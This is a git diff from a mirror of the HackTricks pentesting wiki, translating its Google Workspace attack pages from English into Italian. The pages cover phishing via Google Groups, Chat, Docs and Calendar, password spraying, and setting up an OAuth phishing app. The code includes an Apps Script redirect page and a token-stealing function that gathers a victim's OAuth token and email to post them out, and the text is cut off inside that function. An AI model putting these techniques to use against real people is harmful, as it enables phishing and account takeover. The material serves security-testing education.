mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 23:15:48 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
Controlla come potresti utilizzare diverse piattaforme Google come Drive, Chat, Groups... per inviare alla vittima un link di phishing e come eseguire un Google OAuth Phishing in:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
Per testare le password con tutte le email che hai trovato (o che hai generato basandoti su un modello di nome email che potresti aver scoperto) potresti utilizzare uno strumento come [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (anche se sembra non essere mantenuto) che utilizzerà AWS lambdas per cambiare indirizzo IP.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
Se hai compromesso alcune credenziali o la sessione dell'utente puoi eseguire diverse azioni per accedere a potenziali informazioni sensibili dell'utente e cercare di escalare privilegi:
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
@@ -26,17 +26,17 @@ gws-post-exploitation.md
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
Leggi di più sulle diverse tecniche per pivotare tra GWS e GCP in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
- **GCPW (Google Credential Provider for Windows)**: Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo **memorizzerà i token per accedere a Google Workspace** in alcuni luoghi nel PC.
|
||||
- **GCDS (Google Cloud Directory Sync)**: Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace**. Lo strumento richiede le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizzerebbe gli utenti di tanto in tanto.
|
||||
- **Admin Directory Sync**: Consente di sincronizzare gli utenti da AD e EntraID in un processo senza server da [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
|
||||
## Persistence
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
Se hai compromesso alcune credenziali o la sessione dell'utente controlla queste opzioni per mantenere la persistenza su di esse:
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
@@ -52,26 +52,22 @@ gws-persistence.md
|
||||
|
||||
## Account Compromised Recovery
|
||||
|
||||
- Log out of all sessions
|
||||
- Change user password
|
||||
- Generate new 2FA backup codes
|
||||
- Remove App passwords
|
||||
- Remove OAuth apps
|
||||
- Remove 2FA devices
|
||||
- Remove email forwarders
|
||||
- Remove emails filters
|
||||
- Remove recovery email/phones
|
||||
- Removed malicious synced smartphones
|
||||
- Remove bad Android Apps
|
||||
- Remove bad account delegations
|
||||
- Disconnetti tutte le sessioni
|
||||
- Cambia la password dell'utente
|
||||
- Genera nuovi codici di backup 2FA
|
||||
- Rimuovi le password delle app
|
||||
- Rimuovi le app OAuth
|
||||
- Rimuovi i dispositivi 2FA
|
||||
- Rimuovi i reindirizzatori email
|
||||
- Rimuovi i filtri email
|
||||
- Rimuovi email/telefoni di recupero
|
||||
- Rimuovi smartphone sincronizzati malevoli
|
||||
- Rimuovi cattive app Android
|
||||
- Rimuovi cattive deleghe di account
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, come faccio a Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
A quanto pare, per impostazione predefinita, nei workspace i membri [**possono creare gruppi**](https://groups.google.com/all-groups) **e invitare persone a farne parte**. Puoi quindi modificare l'email che verrà inviata all'utente **aggiungendo alcuni link.** L'**email verrà inviata da un indirizzo google**, quindi sembrerà **legittima** e le persone potrebbero cliccare sul link.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
È anche possibile impostare l'indirizzo **FROM** come l'**email del gruppo Google** per inviare **ulteriori email agli utenti all'interno del gruppo**, come nell'immagine seguente dove il gruppo **`google--support@googlegroups.com`** è stato creato e un'**email è stata inviata a tutti i membri** del gruppo (che sono stati aggiunti senza alcun consenso)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Potresti essere in grado di **iniziare una chat** con una persona avendo solo il suo indirizzo email o inviare un'**invito a parlare**. Inoltre, è possibile **creare uno Spazio** che può avere qualsiasi nome (ad es. "Google Support") e **invitare** membri a farne parte. Se accettano, potrebbero pensare di stare parlando con il supporto Google:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Tuttavia, nei miei test i membri invitati non hanno nemmeno ricevuto un invito.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Puoi controllare come questo ha funzionato in passato in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
In passato era possibile creare un **documento apparentemente legittimo** e in un commento **menzionare un'email (come @user@gmail.com)**. Google **inviava un'email a quell'indirizzo email** notificando che era stato menzionato nel documento.\
|
||||
Oggigiorno, questo non funziona più, ma se **dai accesso al documento all'email della vittima**, Google invierà un'email che lo indica. Questo è il messaggio che appare quando menzioni qualcuno:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> Le vittime potrebbero avere meccanismi di protezione che non consentono che le email che indicano che un documento esterno è stato condiviso con loro raggiungano la loro email.
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Puoi **creare un evento di calendario** e aggiungere quanti più indirizzi email dell'azienda che stai attaccando. Pianifica questo evento di calendario in **5 o 15 minuti** dall'orario attuale. Fai sembrare l'evento legittimo e **metti un commento e un titolo che indicano che devono leggere qualcosa** (con il **link di phishing**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Questo è l'avviso che apparirà nel browser con un titolo di riunione "Licenziamento di persone", quindi potresti impostare un titolo più simile al phishing (e persino cambiare il nome associato alla tua email).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Per farlo sembrare meno sospetto:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Impostalo in modo che **i destinatari non possano vedere le altre persone invitate**
|
||||
- **NON inviare email che notificano l'evento**. In questo modo, le persone vedranno solo il loro avviso su una riunione tra 5 minuti e che devono leggere quel link.
|
||||
- A quanto pare, utilizzando l'API puoi impostare su **True** che **le persone** hanno **accettato** l'evento e persino creare **commenti a loro nome**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
È possibile creare uno script in [https://script.google.com/](https://script.google.com/) e **esporlo come un'applicazione web accessibile a tutti** che utilizzerà il dominio legittimo **`script.google.com`**.\
|
||||
Con un codice come il seguente, un attaccante potrebbe far caricare contenuti arbitrari in questa pagina senza smettere di accedere al dominio:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Per esempio, accedendo a [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) vedrai:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Nota che apparirà un avviso mentre il contenuto viene caricato all'interno di un iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
È possibile creare App Scripts collegati a documenti per cercare di ottenere accesso al token OAuth di una vittima, per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
@@ -81,89 +79,83 @@ gws-app-scripts.md
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Qualsiasi delle tecniche precedenti potrebbe essere utilizzata per far accedere l'utente a un **Google OAuth application** che **richiederà** all'utente alcuni **accessi**. Se l'utente **si fida** della **fonte**, potrebbe **fidarsi** dell'**applicazione** (anche se sta chiedendo permessi ad alta privilegio).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Nota che Google presenta un brutto avviso che avvisa che l'applicazione non è affidabile in diversi casi e gli amministratori di Workspace possono persino impedire alle persone di accettare le applicazioni OAuth.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** consente di creare applicazioni che possono **interagire per conto degli utenti** con diversi **servizi Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
Quando si crea un'applicazione per **agire per conto di altri utenti**, lo sviluppatore deve creare un **OAuth app all'interno di GCP** e indicare gli scope (permessi) di cui l'app ha bisogno per accedere ai dati degli utenti.\
|
||||
Quando un **utente** desidera **utilizzare** quell'**applicazione**, verrà **richiesto** di **accettare** che l'applicazione avrà accesso ai propri dati specificati negli scope.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Questo è un modo molto allettante per **phishare** utenti non tecnici nell'utilizzo di **applicazioni che accedono a informazioni sensibili** perché potrebbero non comprendere le conseguenze. Tuttavia, negli account delle organizzazioni, ci sono modi per prevenire che ciò accada.
|
||||
|
||||
### Unverified App prompt
|
||||
### Avviso di App non verificate
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Come è stato menzionato, Google presenterà sempre un **avviso all'utente per accettare** i permessi che stanno dando all'applicazione per conto loro. Tuttavia, se l'applicazione è considerata **pericolosa**, Google mostrerà **prima** un **avviso** che indica che è **pericolosa** e **rende più difficile** per l'utente concedere i permessi all'app.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Questo avviso appare nelle app che:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Usano qualsiasi scope che può accedere a dati privati (Gmail, Drive, GCP, BigQuery...)
|
||||
- App con meno di 100 utenti (app > 100 è necessario anche un processo di revisione per smettere di mostrare l'avviso di non verifica)
|
||||
|
||||
### Interesting Scopes
|
||||
### Scope Interessanti
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Qui**](https://developers.google.com/identity/protocols/oauth2/scopes) puoi trovare un elenco di tutti gli scope OAuth di Google.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Visualizza e gestisci i tuoi dati attraverso i servizi di **Google Cloud Platform**. Puoi impersonare l'utente in GCP.
|
||||
- **admin.directory.user.readonly**: Vedi e scarica la directory GSuite della tua organizzazione. Ottieni nomi, telefoni, URL del calendario di tutti gli utenti.
|
||||
|
||||
### Create an OAuth App
|
||||
### Crea un OAuth App
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Inizia a creare un OAuth Client ID**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Vai a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) e clicca su configura la schermata di consenso.
|
||||
2. Poi, ti verrà chiesto se il **tipo di utente** è **interno** (solo per le persone nella tua organizzazione) o **esterno**. Seleziona quello che si adatta alle tue esigenze
|
||||
- Interno potrebbe essere interessante se hai già compromesso un utente dell'organizzazione e stai creando questa App per phishingare un altro.
|
||||
3. Dai un **nome** all'app, un **email di supporto** (nota che puoi impostare un'email di googlegroup per cercare di anonimizzarti un po' di più), un **logo**, **domini autorizzati** e un'altra **email** per **aggiornamenti**.
|
||||
4. **Seleziona** gli **scope OAuth**.
|
||||
- Questa pagina è divisa in permessi non sensibili, permessi sensibili e permessi ristretti. Ogni volta che aggiungi un nuovo permesso, viene aggiunto alla sua categoria. A seconda dei permessi richiesti, appariranno diversi avvisi all'utente indicando quanto siano sensibili questi permessi.
|
||||
- Sia **`admin.directory.user.readonly`** che **`cloud-platform`** sono permessi sensibili.
|
||||
5. **Aggiungi gli utenti di test.** Finché lo stato dell'app è in fase di test, solo questi utenti potranno accedere all'app, quindi assicurati di **aggiungere l'email che stai per phishingare**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Ora otteniamo **credenziali per un'applicazione web** utilizzando il **precedentemente creato OAuth Client ID**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Torna a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), questa volta apparirà un'opzione diversa.
|
||||
2. Seleziona di **creare credenziali per un'applicazione web**
|
||||
3. Imposta gli **origini Javascript** e gli **URI di reindirizzamento** necessari
|
||||
- Puoi impostare in entrambi qualcosa come **`http://localhost:8000/callback`** per testare
|
||||
4. Ottieni le **credenziali** della tua applicazione
|
||||
|
||||
Infine, eseguiamo **un'applicazione web che utilizzerà le credenziali dell'applicazione OAuth**. Puoi trovare un esempio in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Vai a **`http://localhost:8000`**, clicca sul pulsante Accedi con Google, ti verrà **richiesto** un messaggio come questo:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
L'applicazione mostrerà il **token di accesso e di aggiornamento** che possono essere facilmente utilizzati. Per ulteriori informazioni su **come utilizzare questi token controlla**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Utilizzando `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
È possibile fare qualcosa utilizzando gcloud invece della console web, controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, come faccio a Red Team GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts è **codice che verrà attivato quando un utente con permessi di modifica accede al documento a cui è collegato l'App Script** e dopo **aver accettato il prompt OAuth**.\
|
||||
Possono anche essere impostati per essere **eseguiti ogni certo tempo** dal proprietario dell'App Script (Persistenza).
|
||||
|
||||
### Create App Script
|
||||
### Crea App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Ci sono diversi modi per creare un App Script, anche se i più comuni sono **da un Documento Google (di qualsiasi tipo)** e come **progetto autonomo**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Crea un progetto legato al contenitore da Google Docs, Sheets o Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides.
|
||||
2. Clicca su **Estensioni** > **Google Apps Script**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Crea un progetto autonomo</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Per creare un progetto autonomo da Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Vai a [`script.google.com`](https://script.google.com/).
|
||||
2. Clicca su **Nuovo Progetto**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Crea un progetto autonomo da Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Apri [Google Drive](https://drive.google.com/).
|
||||
2. Clicca su **Nuovo** > **Altro** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Crea un progetto legato al contenitore da Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Apri un modulo in Google Forms.
|
||||
2. Clicca su Altro more_vert > **Editor di script**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` è uno strumento da riga di comando che ti consente di creare, estrarre/inviare e distribuire progetti Apps Script da un terminale.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](https://developers.google.com/apps-script/guides/clasp) per ulteriori dettagli.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Scenario App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Crea Google Sheet con App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**.
|
||||
|
||||
### Leak token
|
||||
### Token di leak
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Accesso a utenti e gruppi della directory (se l'utente ha abbastanza permessi)
|
||||
- **Gmail**: Per accedere ai dati di gmail
|
||||
- **Drive**: Per accedere ai dati di drive
|
||||
- **Google Sheets API**: Affinché funzioni con il trigger
|
||||
|
||||
Per cambiare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
